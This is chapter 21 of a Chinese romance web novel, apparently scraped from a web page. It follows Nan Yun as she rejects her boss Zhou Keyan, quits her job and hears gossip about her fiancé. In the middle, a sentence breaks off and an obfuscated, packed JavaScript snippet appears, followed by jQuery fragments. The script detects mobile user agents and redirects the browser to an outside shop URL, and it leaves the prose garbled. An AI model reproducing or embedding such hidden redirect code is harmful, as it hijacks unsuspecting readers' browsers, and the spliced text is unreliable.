21. chapter 21

作品:《误雪[撬墙角]

    他的目光几乎将她钉在原地。


    “回到原来的位置,你真的能开心吗?”


    他握得并不紧,她稍一用力就能挣脱桎梏。


    南韫却强迫自己迎上他的视线,声音冷得像结了一层薄冰:“开心与否,都是我的选择。”


    “这不是选择,是作茧自缚。”


    他们之间的距离只隔着一个岁岁,她几乎能感受到他呼吸间的温度。


    一呼一吸之间,她产生了一种近乎晕眩的错觉。


    南韫唇线紧抿,直直望进他眼里:“周总,你刚刚说,如果不能承担另一个生命完整的重量,放她自由,也是一种仁慈。”


    周恪言眼中的光一瞬熄灭,仿佛一夜之间燃尽落灰的残垣断壁。


    她心头猛地一酸。


    良久,他终于松开了她的手腕。


    南韫垂下眼,不再看他的表情。


    “再见。”


    旋即迅速绕开他,按下门把手走了出去。


    漆黑的门嗵地一声关上,仿佛隔绝出两个世界。


    房间陷入空荡荡的死寂。


    窗外风雪正盛,纷扬不绝。


    周恪言缓缓地,在沙发上坐了下来,身影融进黑茶色的沙发深处。


    *


    南韫不知道自己是怎么离开的,只是觉得浑身上下暖意全无,四处都破破烂烂地漏着风。


    岁岁被她团在围巾里,偶尔中气十足地叫唤两声。


    她勉强拦了辆车,坐在后座,望着窗外白茫茫的雪色,大脑一片空白。


    浑浑噩噩地上楼,开门,给岁岁收拾好提前准备的小窝和食水,又放了件自己穿过的衣服在旁边,任由它在陌生的环境里四处乱嗅。


    囫囵洗了个澡,她便瘫倒在床,把自己埋进被子里。


    被褥间熟悉的气味终于让她缓过神,也让她终于有精力去面对今晚发生的一切。


    今晚的谈话远远超出了她的想象。


    她以为周恪言是个运筹帷幄、不动如山的人,在她说出那几句话之后,便会冷静自持地放她离开。


    但周恪言的坚持和偏执,远远超出她的预料。


    她只能逼自己拒绝的不留余地。


    想起他望向她的那一眼,干涸得如同一棵枯死的树。


    仿佛在挽留,又仿佛在妥协。


    与那样的目光对视,她的四肢宛如通了电,麻意蔓延到五脏六腑和四肢,手指都要情不自禁地痉挛,心脏在酸水里泡得又酸又涨。


    她几乎说不出更多的话。


    仿佛每一句话,都是新的伤害。


    她不愿深思的感情,在长期的压抑中倏然决堤。


    *


    第二天,南韫顶着一对黑眼圈去南亭办理离职,带着提前备好的小礼物一一告别,和同事聊了许久,也约了好几顿饭。


    中午和高霏傅弛在食堂吃了最后一餐,他们无意间提起周恪言,让她心头又是一涩。


    周恪言始终没有露面。


    她心中松了口气的同时,却也不可抑制地泛起一丝失落。


    下午,南韫便抱着纸箱正式离开了南亭。


    她径直回了家,先是把之前给岁岁买的东西全都拖了出来,一一摆置在客厅。随后带它出去遛了一个小时,几乎把家周围的小公园跑了个遍。


    遛完回家,按着网上的教程,南韫又给它做了半小时的训练。


    正教岁岁握手时,门口传来开锁声。


    程青藜每次回家,人还没进门声音已经喋喋不休地在客厅地面铺了一层。


    今天却没听到说话声,南韫不由转头去瞧。


    她没精打采地走进来,随手扔了钥匙,瘫进沙发。


    南韫难得见她这副模样,轻声问:“谁惹我们程大小姐不高兴了?”


    “……分手了。”


    更稀奇了,程青藜分手像吃饭一样频繁,从来没见过她为情所困。


    “跟那位……沈医生?”


    “别跟我提他,”一听到这名字她就炸了,猛地坐起来,“这个沈青川,说好了只谈一个月,都过期了他还死缠烂打,烦死了。”


    岁岁从她怀里爬出来,凑到程青藜脚边,她烦躁的眼神一亮。


    “哇,哪来这么可爱一小狗。”


    南韫勉强笑笑:“这就是我从九神山带回来的那只,叫岁岁。”


    “岁岁平安呀,”程青藜嘬嘬几声把小狗抱进怀里揉了两把,“它不是暂时放在周总那了吗?”


    南韫垂眸,“我昨天接回来的。”


    “你去他家了?”程青藜瞬间捕捉到重点。


    “……嗯。”


    程青藜烦闷之气一扫而空,八卦之魂熊熊燃烧。


    “上回从九神山回来我就想问了,你跟周总——”


    “我已经跟他说清楚了。”


    程青藜睁大眼:“他真喜欢你啊?”


    南韫蹙眉,点了点头。


    看她这副模样,程青藜察觉不对,把狗端起来凑到她面前。


    一人一狗四只眼睛齐齐盯着她。


    “你……该不会也动心了吧?”


    南韫别过脸去,长时间的沉默让程青藜的眼睛瞪得越来越大。


    “那你们现在……”


    “我已经从南亭离职了。”


    程青藜望着她几乎打成死结的眉头,讷讷半晌,才吐出一句:“我靠。”


    听完南韫讲述她这段时间与周恪言的种种,程青藜被庞大的信息量砸得晕头转向,好一会儿才向她颤颤巍巍地竖出大拇指。


    “我还自诩情史丰富,拒绝过的男人没有一百也有十个,对你这副快刀斩乱麻的作风,实在是甘拜下风。”


    南韫沉默。


    程青藜犹豫了一会,还是问:“那你接下来打算怎么办?”


    “……不知道。”


    她烦躁地抓了抓头发,又试探性问道:“那现在……你还想回到过去吗?”


    南韫轻轻叹息:“我不知道。”


    曾经那种死气沉沉、四面楚歌的关系,已经岌岌可危。


    但是她还缺一个契机,一个真正放下的理由。


    程青藜想想他们剪不断理还乱的感情,也重重地叹了口气。


    *


    休息了两天,南韫就回到课题组,开始筹备新的课题。


    组里找了她两次,让她回去接手万通的项目,都被她拒绝了


    “这个项目既然已经给出去了,断没有再塞回来的道理。”


    组里又想请她联系肖琼,南韫下意识去找她的身影,却发现肖琼根本没来。


    问了她周围的同学,他们回答:“肖琼好几天没来了,听说找了个很有钱的男朋友,大概是出去玩了吧。”


    南韫上次跟肖琼见面,还是在高家的宴


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598577|187367||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    会上,那时她见到了肖琼的男朋友高鹏宇。


    肖琼谈恋爱确实容易上头,但是不至于旷工这么久。


    她又想起高鹏宇让人不舒服的眼神,心中隐隐有些不安。


    她打电话给肖琼,那边很快就接通了,电话里她的声音轻快。


    “韫韫,怎么啦?”


    “你这几天去哪了?”


    “我?我跟鹏宇在外面玩啊,反正论文刚投,又没有项目,偷个懒嘛。”


    那头背景音十分嘈杂,时远时近。


    “哦对了韫韫,有个事我得跟你说一声。”


    “怎么了?”


    “我昨天跟鹏宇去半山厨吃饭,结果你猜我在那看到谁了?”


    半山厨是周砚带她去过的一家私厨,是周砚很喜欢的口味。


    她神秘兮兮的,南韫不想跟她兜圈子:“快说。”


    “我看到了周砚!”


    “在那看到他,也不稀奇吧?”


    肖琼语气愤懑:“他不是一个人去的,是跟一个女孩,穿着打扮讲究,长得也漂亮,很明显不是谈生意,周砚帮她又拉椅子又剥虾的。”


    “我还看到他给那个女孩整理头发,两个人姿态十分亲昵,实在是太过分了!”


    听筒里倏地一静。


    肖琼大呼小叫的声音一顿,小心翼翼开口:“韫韫,你……没事吧?”


    良久,那头才传来南韫疏淡的声音:“……没事。”


    那一瞬间,她确实被惊住了。


    但不是被这个消息本身,而是被她自己。


    因为她听到这个消息的第一反应,竟然不是生气。


    而是平静。


    一潭死水的平静。


    这是一个十分不妙的预兆。


    她垂下眼,掩住有些心烦意乱的情绪,敷衍道:“可能是他的亲戚或者朋友吧,肖肖,你在外面注意安……”


    “阿琼,怎么了?”


    “没事,我朋友给我打电话。”


    肖琼的电话里传来一个男声,她匆匆道:“好啦韫韫,我先挂了,丁老师问起来帮我兜着点,么么!”


    电话挂断。


    她压下心头的烦闷,正要回办公室继续工作,却远远见到一个气势汹汹的身影迎面走来。


    如同一只斗志昂扬的大公鸡。


    南韫几乎不用看就知道那是谁,正打算无视她,对方却先一步挡在她面前。


    “南韫,你见我跑什么?”


    南韫无奈地扫了常熙雅一眼:“谁跑了?我是懒得理你。”


    每次看到常熙雅,她的太阳穴就会开始突突直跳。


    常熙雅瞪了她一眼:“你为什么不做万通的项目?”


    南韫面无表情地回答:“我想我已经跟组里说的很清楚了,送出去的东西,没有再塞回来的道理,既然你已经拿走了,何必再送回来?”


    说完她抬脚便走。


    “那个项目真的不是我抢的!”常熙雅声音猛地提高,整个人挤过来拦住她,引得办公室里的人纷纷张望。


    南韫吓了一跳,更觉诧异,偏头问:“这个项目的受益人不是你吗,为什么这么在意别人怎么看?”


    “这个项目……是常家和周家的交易!”常熙雅眼圈蓦地红了,捉住南韫的手腕,声音放低,“我只是不想你看不起我,我努力了这么久,就是为了和你公平竞争!”